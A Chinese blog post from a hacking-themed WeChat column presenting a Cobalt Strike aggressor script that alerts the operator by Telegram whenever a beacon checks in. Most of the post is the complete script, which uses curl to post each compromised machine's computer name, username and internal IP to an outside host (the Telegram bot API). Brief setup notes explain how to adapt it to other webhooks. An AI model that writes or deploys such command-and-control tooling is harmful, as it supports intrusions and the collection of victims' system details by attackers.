专栏名称: HACK学习呀
HACK学习,专注于互联网安全与黑客精神;渗透测试,社会工程学,Python黑客编程,资源分享,Web渗透培训,电脑技巧,渗透技巧等,为广大网络安全爱好者一个交流分享学习的平台!
目录
相关文章推荐
安全学习那些事儿  ·  黑客泄露1200万投资公司Zacks ... ·  2 天前  
51好读  ›  专栏  ›  HACK学习呀

Cobalt Strike beacon上线通知cna脚本

HACK学习呀  · 公众号  · 黑客  · 2019-09-22 16:55

正文

0x01 前言

Cobalt Strike应该是大家耳熟能详的工具了,它支持在客户端添加自定义的cna脚本来扩展功能。

beacon上线后,我们通常想第一时间得知,以前见过msf上线后,tg通知的脚本,于是想找个cs的。

我在github找到了slack的通知脚本slack-notify-beacon.cna,虽然也找到了一个telegram通知的,但是写的太麻烦,还要调用Python,于是自己改写了一个telegram-bot通知的。


0x02 脚本

telegram-notify-beacon.cna

# author: dayu

# ------------ set these config: ------------
$bot_token = "xxxxxxx";
$chat_id = 'xxxxxxx'; # Write your group_id or user_id
$teamserver_hostname = 'HOSTNAME-1'; # You will reveive message containing it
# -------------------------------------------

$tg_bot_webhookURL = 'https://api.telegram.org/bot'.$bot_token.'/sendMessage';

$test_message = 'this is a test message, test success';
@curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data-urlencode', 'text='.$test_message, $tg_bot_webhookURL);
exec(@curl_command);

on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    local('$internalIP $computerName $userName');
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP;
    @curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data', 'text='.$message, $tg_bot_webhookURL);
    exec(@curl_command);
}

需要客户端/服务端支持curl、能够访问tg的api地址(国内访问不到)

原理很简单,beacon_initial 后通过调用os的curl请求webhook,bot的申请教程可以百度,同理可以很简单的改写其他webhook,如:钉钉、Server酱等

telegram的bot申请地址:https://telegram.me/botfather

推荐阅读:

https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=373276

效果图:

0x03 在teamserver上运行cna脚本

把cna脚本添加到本地客户端后,如果beacon上线了,这个webhook的通知请求 是从客户端发出的。







请到「今天看啥」查看全文